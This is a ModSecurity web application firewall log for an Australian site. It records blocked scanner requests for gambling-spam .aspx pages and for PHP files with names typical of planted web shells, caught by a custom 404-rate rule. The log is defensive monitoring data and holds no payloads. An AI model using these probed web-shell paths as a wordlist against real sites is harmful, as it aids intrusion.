[Fri Apr 17 02:34:20.765918 2026] [:error] [pid 43387:tid 43459] [client 91.137.27.140:61608] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aeErrCBNsONqHxWTakVP9gAAAIg"]
[Fri Apr 17 02:34:23.103216 2026] [:error] [pid 43387:tid 43468] [client 91.137.27.140:40264] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeErryBNsONqHxWTakVP_QAAAI8"]
[Fri Apr 17 02:34:25.647294 2026] [:error] [pid 11854:tid 11869] [client 91.137.27.140:9262] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aeErsdxJCSIaqP1XSdakewAAAkw"]
[Fri Apr 17 02:34:28.012322 2026] [:error] [pid 11692:tid 11715] [client 91.137.27.140:27360] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aeErtM1AYuhm4BZwKNom-AAAAhI"]
[Fri Apr 17 02:34:30.542219 2026] [:error] [pid 43386:tid 43420] [client 91.137.27.140:46416] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aeErtu91GAVgUfhPVDHmrQAAAEA"]
[Fri Apr 17 02:34:33.065931 2026] [:error] [pid 43482:tid 43493] [client 91.137.27.140:13267] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeEruT9SZnuKxlHrct26rwAAAMk"]
[Fri Apr 17 02:34:35.422533 2026] [:error] [pid 43386:tid 43441] [client 91.137.27.140:43275] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeEru-91GAVgUfhPVDHmtQAAAFQ"]
[Fri Apr 17 02:34:37.946831 2026] [:error] [pid 11854:tid 11867] [client 91.137.27.140:7767] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aeErvdxJCSIaqP1XSdakggAAAko"]
[Fri Apr 17 02:34:40.454873 2026] [:error] [pid 43482:tid 43489] [client 91.137.27.140:36291] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aeErwD9SZnuKxlHrct26twAAAMU"]
[Fri Apr 17 02:34:42.987343 2026] [:error] [pid 26102:tid 26124] [client 91.137.27.140:57612] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeErwv127aFqw6ALdnghWgAAAZM"]
[Fri Apr 17 02:34:45.480008 2026] [:error] [pid 11692:tid 11709] [client 91.137.27.140:20389] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeErxc1AYuhm4BZwKNonAwAAAgw"]
[Fri Apr 17 02:34:47.982616 2026] [:error] [pid 43386:tid 43439] [client 91.137.27.140:25887] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeErx-91GAVgUfhPVDHm1gAAAFM"]
[Fri Apr 17 02:34:50.486966 2026] [:error] [pid 26480:tid 26499] [client 91.137.27.140:16082] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeErygwLDJKTQNfarA2PqwAAAdE"]
[Fri Apr 17 02:34:53.010080 2026] [:error] [pid 43386:tid 43434] [client 91.137.27.140:47987] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aeErze91GAVgUfhPVDHm2wAAAE4"]
[Fri Apr 17 02:34:55.356978 2026] [:error] [pid 43386:tid 43423] [client 91.137.27.140:61963] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeErz-91GAVgUfhPVDHm3gAAAEM"]
[Fri Apr 17 02:34:57.701041 2026] [:error] [pid 26480:tid 26504] [client 91.137.27.140:50944] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aeEr0QwLDJKTQNfarA2PrwAAAdY"]
[Fri Apr 17 02:35:00.192694 2026] [:error] [pid 43482:tid 43488] [client 91.137.27.140:18791] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aeEr1D9SZnuKxlHrct26xQAAAMQ"]
[Fri Apr 17 03:02:56.616793 2026] [:error] [pid 26480:tid 26499] [client 43.159.138.217:36300] [client 43.159.138.217] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeEyYAwLDJKTQNfarA2WwQAAAdE"]
[Fri Apr 17 03:47:31.815076 2026] [:error] [pid 9263:tid 9265] [client 20.166.31.184:26264] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amdin.php"] [unique_id "aeE80xP68VyHNvj1e55_GwAAAMA"]
[Fri Apr 17 03:47:32.370200 2026] [:error] [pid 9263:tid 9268] [client 20.166.31.184:38336] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amdin.php"] [unique_id "aeE81BP68VyHNvj1e55_HgAAAMM"]
[Fri Apr 17 03:47:32.877945 2026] [:error] [pid 9263:tid 9267] [client 20.166.31.184:29080] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amdin.php"] [unique_id "aeE81BP68VyHNvj1e55_IwAAAMI"]
[Fri Apr 17 03:47:33.472903 2026] [:error] [pid 9153:tid 9218] [client 20.166.31.184:38535] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amdin.php"] [unique_id "aeE81eMHGxkTZX3c45ek_wAAAIA"]
[Fri Apr 17 03:47:34.118559 2026] [:error] [pid 9153:tid 9242] [client 20.166.31.184:35737] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/huya.php"] [unique_id "aeE81uMHGxkTZX3c45elAQAAAJg"]
[Fri Apr 17 03:47:34.648293 2026] [:error] [pid 9153:tid 9239] [client 20.166.31.184:32729] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/huya.php"] [unique_id "aeE81uMHGxkTZX3c45elAwAAAJU"]
[Fri Apr 17 03:47:35.173882 2026] [:error] [pid 9263:tid 9270] [client 20.166.31.184:32721] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/huya.php"] [unique_id "aeE81xP68VyHNvj1e55_MQAAAMU"]
[Fri Apr 17 03:47:35.718644 2026] [:error] [pid 9152:tid 9192] [client 20.166.31.184:32688] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/huya.php"] [unique_id "aeE815JYca8I3TNCwIfHFAAAAEI"]
[Fri Apr 17 03:47:36.254506 2026] [:error] [pid 9263:tid 9288] [client 20.166.31.184:32654] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "aeE82BP68VyHNvj1e55_OQAAANc"]
[Fri Apr 17 03:47:36.770656 2026] [:error] [pid 9263:tid 9268] [client 20.166.31.184:38586] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "aeE82BP68VyHNvj1e55_PgAAAMM"]
[Fri Apr 17 03:47:37.342088 2026] [:error] [pid 9151:tid 9170] [client 20.166.31.184:29487] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "aeE82chTVuRPkua22vRdJgAAAAk"]
[Fri Apr 17 03:47:37.894438 2026] [:error] [pid 9263:tid 9284] [client 20.166.31.184:29466] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "aeE82RP68VyHNvj1e55_RgAAANM"]
[Fri Apr 17 03:47:38.466155 2026] [:error] [pid 9263:tid 9278] [client 20.166.31.184:38373] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeE82hP68VyHNvj1e55_SQAAAM0"]
[Fri Apr 17 03:47:39.037191 2026] [:error] [pid 9263:tid 9265] [client 20.166.31.184:35732] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeE82xP68VyHNvj1e55_TAAAAMA"]
[Fri Apr 17 03:47:39.548757 2026] [:error] [pid 9263:tid 9270] [client 20.166.31.184:35755] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeE82xP68VyHNvj1e55_TgAAAMU"]
[Fri Apr 17 03:47:40.085823 2026] [:error] [pid 9263:tid 9281] [client 20.166.31.184:38397] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeE83BP68VyHNvj1e55_UAAAANA"]
[Fri Apr 17 03:47:40.594243 2026] [:error] [pid 9153:tid 9230] [client 20.166.31.184:35858] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "aeE83OMHGxkTZX3c45elEAAAAIw"]
[Fri Apr 17 03:47:41.157095 2026] [:error] [pid 9263:tid 9279] [client 20.166.31.184:38585] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "aeE83RP68VyHNvj1e55_VwAAAM4"]
[Fri Apr 17 03:47:41.766609 2026] [:error] [pid 9151:tid 9168] [client 20.166.31.184:38549] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "aeE83chTVuRPkua22vRdKQAAAAc"]
[Fri Apr 17 03:47:42.418825 2026] [:error] [pid 9153:tid 9233] [client 20.166.31.184:35718] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "aeE83uMHGxkTZX3c45elEgAAAI8"]
[Fri Apr 17 03:47:43.109334 2026] [:error] [pid 9151:tid 9178] [client 20.166.31.184:29461] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "aeE838hTVuRPkua22vRdKwAAABE"]
[Fri Apr 17 03:47:43.787647 2026] [:error] [pid 9153:tid 9239] [client 20.166.31.184:35895] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "aeE83-MHGxkTZX3c45elFgAAAJU"]
[Fri Apr 17 03:47:44.351078 2026] [:error] [pid 9153:tid 9219] [client 20.166.31.184:32689] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "aeE84OMHGxkTZX3c45elGAAAAIE"]
[Fri Apr 17 03:47:44.912461 2026] [:error] [pid 9152:tid 9197] [client 20.166.31.184:35775] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "aeE84JJYca8I3TNCwIfHJwAAAEc"]
[Fri Apr 17 03:47:45.672575 2026] [:error] [pid 9153:tid 9231] [client 20.166.31.184:35715] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "aeE84eMHGxkTZX3c45elHgAAAI0"]
[Fri Apr 17 03:47:46.225354 2026] [:error] [pid 9152:tid 9201] [client 20.166.31.184:35853] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "aeE84pJYca8I3TNCwIfHKgAAAEs"]
[Fri Apr 17 03:47:46.726096 2026] [:error] [pid 9151:tid 9170] [client 20.166.31.184:35772] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "aeE84shTVuRPkua22vRdNAAAAAk"]
[Fri Apr 17 03:47:47.231490 2026] [:error] [pid 9151:tid 9175] [client 20.166.31.184:32680] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "aeE848hTVuRPkua22vRdNgAAAA4"]
[Fri Apr 17 03:47:47.737814 2026] [:error] [pid 9152:tid 9211] [client 20.166.31.184:29458] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeE845JYca8I3TNCwIfHLgAAAFU"]
[Fri Apr 17 03:47:48.273275 2026] [:error] [pid 9153:tid 9218] [client 20.166.31.184:38576] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeE85OMHGxkTZX3c45elJQAAAIA"]
[Fri Apr 17 03:47:48.815465 2026] [:error] [pid 9263:tid 9270] [client 20.166.31.184:38531] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeE85BP68VyHNvj1e55_XwAAAMU"]
[Fri Apr 17 03:47:49.354606 2026] [:error] [pid 9152:tid 9200] [client 20.166.31.184:29117] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeE85ZJYca8I3TNCwIfHMwAAAEo"]
[Fri Apr 17 03:47:49.864338 2026] [:error] [pid 9151:tid 9185] [client 20.166.31.184:23931] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeE85chTVuRPkua22vRdOwAAABg"]
[Fri Apr 17 03:47:50.389050 2026] [:error] [pid 9153:tid 9222] [client 20.166.31.184:35848] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeE85uMHGxkTZX3c45elLQAAAIQ"]
[Fri Apr 17 03:47:50.891746 2026] [:error] [pid 9153:tid 9225] [client 20.166.31.184:23934] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeE85uMHGxkTZX3c45elLwAAAIc"]
[Fri Apr 17 03:47:51.393487 2026] [:error] [pid 9151:tid 9183] [client 20.166.31.184:32651] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeE858hTVuRPkua22vRdQQAAABY"]
[Fri Apr 17 03:47:51.932382 2026] [:error] [pid 9153:tid 9228] [client 20.166.31.184:29442] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeE85-MHGxkTZX3c45elMwAAAIo"]
